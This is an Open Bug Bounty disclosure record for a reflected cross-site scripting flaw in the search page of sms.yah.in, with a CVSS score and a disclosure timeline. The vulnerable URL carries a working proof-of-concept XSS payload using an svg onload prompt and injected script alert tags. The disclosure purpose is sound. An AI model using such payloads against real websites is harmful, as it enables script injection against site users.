sms.yah.in XSS vulnerability

2015-05-0313:25:00

guest

www.openbugbounty.org

JSON

Open Bug Bounty ID: OBB-60650

Description	Value
Affected Website:	sms.yah.in
Vulnerable Application:	Custom Code
Vulnerability Type:	XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:	6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:	OWASP XSS Prevention Cheat Sheet

Vulnerable URL:

http://sms.yah.in/search.php?p=%3Csvg/onload=prompt%28/XSSPOSED/%29%3E&s;=%3E%3C/title%3E%27%22%3E%3Cmarquee%3E%3Ch1%3Etest%3C/%20h1%3E%3C/marquee%3ESCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28/XSSPOSED/%29%3C/SCRIPT%3E

Coordinated Disclosure Timeline

Description	Value
Vulnerability Reported:	3 May, 2015 13:25 GMT
Vulnerability Verified:	3 May, 2015 13:27 GMT
Website Operator Notified:	3 May, 2015 13:27 GMT
Vulnerability Published:	3 May, 2015 13:27 GMT[without any technical details]
Public Disclosure:	1 August, 2015 13:25 GMT

JSON